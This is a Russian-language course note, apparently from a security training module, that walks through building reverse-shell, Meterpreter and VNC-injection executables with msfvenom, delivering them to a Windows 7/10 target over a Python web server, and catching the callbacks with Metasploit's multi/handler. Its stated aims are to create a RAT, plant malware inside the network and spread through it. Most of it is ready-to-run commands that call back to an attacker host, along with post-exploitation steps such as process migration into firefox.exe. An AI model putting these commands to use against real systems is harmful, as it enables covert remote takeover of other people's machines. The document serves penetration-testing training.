# Reverse Shells / MsfVenom (Metasploit framework) Можно закинуть на целевую машину файлик который создаст **TCP** соединение до нужного сервера атакующего. #### Немного теории: Закидываем софт на целевую машину в инфраструктуре (в нашем случае Windows 7/10), софт будет выполнять полезную нагрузку и определенный BackConnect до Kali-Linux сервера атакующего, таким образом через этот конект мы получим доступ к Windows 7. !!!BackConnect производится с тем пользователем который есть на Win7, если юзер не имеет админские права то необходимо повысить привилегии. !!!Нужно помнить что пэйлоады созданные с помощью msfvenom легко детектятся В роли атакующего работать будем с ***Kali-Linux*** В роли целевой машины инфраструктуры ***Windows 7/10*** #### **Задачи:** 1. Создать RAT 2. Получить доступ к инфраструктуре и закинуть малварь во внутрь инфраструктуры 3. Проникнуть во всю сеть и попытаться что-то с ней сделать :::spoiler Инфраструктура на данном занятии ![](https://i.imgur.com/8ES5bil.png) ::: :::spoiler Модули Metasploit Framework - **Exploit** — код, эксплуатирующий определенную уязвимость на целевой системе (например, переполнение буфера); - **Payload** — код, который запускается на целевой системе после того, как отработал эксплойт (устанавливает соединение, выполняет шелл-скрипт и прочее); - **Post** — код, который запускается на системе после успешного проникновения (например, собирает пароли, скачивает файлы); - **Encoder** — инструменты для обфускации модулей с целью маскировки от антивирусов; - **NOP** — генераторы NOP’ов. Это ассемблерная инструкция, которая не производит никаких действий. Используется, чтобы заполнять пустоту в исполняемых файлах, для подгонки под необходимый размер; - **Auxiliary** — модули для сканирования сети, анализа трафика и так далее. ::: :::spoiler Основные команды Metasploit Framework - msfconsole - **use** — выбрать определенный модуль для работы с ним; - **back** — операция, обратная use: перестать работать с выбранным модулем и вернуться назад; - **show** — вывести список модулей определенного типа; - **set** — установить значение определенному объекту; - **run** — запустить вспомогательный модуль после того, как были установлены необходимые опции; - **info** — вывести информацию о модуле; - **search** — найти определенный модуль; - **check** — проверить, подвержена ли целевая система уязвимости; - **sessions** — вывести список доступных сессий. - **session -k <номер сессии>** - убиваем сессию ::: ### 1. Создаем сервер-обработчик multi/handler 1. Обновим Metasploit framework > - `apt update` > - `apt install metasploit-framework` 2. Запускаем Metasploit framework > - В дополнительном окне консоли - `msfconsole` > - Запустим сервер обработчик - `use exploit/multi/handler` > - Посмотрим доступные пэйлоады - `show payloads` > - Отсортируем пэйлоады для Windows x64 - `set payload windows/x64/ (прожать 2 раза TAB)` > > > ![](https://i.imgur.com/28TudFh.png) > > Виды payloads: > > **`bind`** - прямое соединение, при подключении к целевой машине, у атакующего появится консоль этой машины > > **`reverse`** - обратное подключение, когда целевая машина внутри инфраструктуры подключается к серверу атакующего и к этой целевой машине имеют доступ. > > - Выберем пэйлоад - `set payload windows/x64/shell/reverse_tcp` > - Посмотрим настройки пэйлоада - `show options` > - Укажем **LHOST** на каком интерфейсе будет слушать (можно поставить все нули, таким образом указать что слушать будет на всех интерфейсах). Укажем себя же, внешний IP адрес Kali-Linux - `set lhost 172.30.51.90` > - Запустим сервер - `run` ### 2. Создаем малварь. Будем использовать msfvenom #### 1. Используем пэйлоад **shell** > - Создадим самый простой вариант, без дополнительных функций > > -p - указываем пэйлоад который используем на нашем сервере > > LHOST, LPORT - куда будет коннектиться (show option в пэйлоаде на нашем сервере) > > -f в каком расширении использовать пэйлоад > > -o output - конечный вывод (билд софта) > > В доп.окне консоли - `msfvenom -p windows/x64/shell/reverse_tcp LHOST=172.30.51.90 LPORT=4444 -f exe -o reverse_shell.exe` > > - Переместим софт в отдельную папку > > `mkdir Shells` > > `mv reverse_shell.exe ./Shells/` > > ![](https://i.imgur.com/K8KeY2H.png) > #### 2. Доставляем софт на целевую машину и запускаем > - Используем веб-сервер **python SimpleHTTPServer** > > Перейдем в папку Shells - `cd Shells/` > > Запустим веб-сервер - `python -m SimpleHTTPServer 80` > > Если открывать от обычного пользователя то порт с 1024 > > Если от рута то любой не занятый порт > > - После этого с целевой машины Win7 можно подключиться к серверу через браузер и там будет расшаренная папка Shells с самим реверс шелом - **172.30.51.90** > > > ![](https://i.imgur.com/gG5nZcQ.png) > > Теперь можно скачать малварь и запустить > > - После запуска малвари на целевой машине, в консоле атакующего(Kali-Linux) где запущен сервер-обработчик появится активная сессия (консоль Win7) > > > > ![](https://i.imgur.com/TdrUG4V.png) > > > > Для того чтобы поменять кодировку - `chcp 65001` > > Посмотреть какой пользователь подключен - `whoami` > > Нам доступна консоль целевой машины которая находится внутри инфраструктцры. Но это не так интересно, идем дальше. > #### 3. Используем пэйлоад **meterpreter** > Выбераем пэйлоад - `set payload windows/x64/meterpreter/reverse_tcp` > Смотри опции - `show options` > Запускаем - `run` > > > ![](https://i.imgur.com/iowPWFZ.png) > > - Создадим малварь на основе этого пэйлоада > > Перейдем в папку Shells - `cd Shells/` > > в доп.окне консоли - `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.30.51.90 LPORT=4444 -f exe -o reverse_meterpreter.exe` > > - Запустим веб-сервер - `python -m SimpleHTTPServer 80` > > > Скачиваем на целевой машине и запускаем > > - После запуска в консоле атакующего появится активная сессия **meterpreter** > > > ![](https://i.imgur.com/oecz8Gc.png) > > Теперь мы можем пользоваться функционалом **meterpreter**, например делать скриншоты целевой машины или открыть рабочий стол. #### 4. Используем пэйлоад **vncinject** Управляем захваченной машиной, которая запустила **meterpreter** > Выбераем пэйлоад - `set payload windows/x64/vncinject/reverse_tcp` > Смотрим опции - `show options` > Указываем хост - `set LHOST 172.30.51.90` > Функция **ViewOnly** **`true`** - только для наблюдения, **`false`** - для перехвата управления - `set viewonly false` > Запускаем - `run` > > > ![](https://i.imgur.com/9dlYIwG.png) > > - Создадим малварь на основе этого пэйлоада > > Перейдем в папку Shells - `cd Shells/` > > в доп.окне консоли - `msfvenom -p windows/x64/vncinject/reverse_tcp LHOST=172.30.51.90 LPORT=4444 -f exe -o reverse_vnc.exe` > > - Запустим веб-сервер - `python -m SimpleHTTPServer 80` > > > Скачиваем на целевой машине и запускаем > > - После запуска в консоле атакующего появится активная сессия **vncinject** > > > ![](https://i.imgur.com/5vw90tl.png) > > > > Запустится удаленное подключение через сам VNC, теперь можно управлять целевой машиной > > > > ![](https://i.imgur.com/KhoFZB5.png) > - Миграция процесса малваря на другой процесс > > в консоле meterpreter - `ps` покажет активные процессы которые выполняются от имени обычного юзера целевой машины > > > > ![](https://i.imgur.com/B7vFpJE.png) > > > > Мигрируем процесс например в firefox.exe PID 4928 - `migrate 4928` --- :::info Полезный материал по теме - [О создании пэйлоадов для разных платформ с помощью msfvenom](https://habr.com/ru/company/ruvds/blog/343612/) - [Payload types in the metasploit framework](https://www.offensive-security.com/metasploit-unleashed/payload-types/) - [Секреты Meterpreter Payload](https://habr.com/ru/post/131112/) ::: ###### tags: `Cyber Infrastructure Threats`, `1 модуль`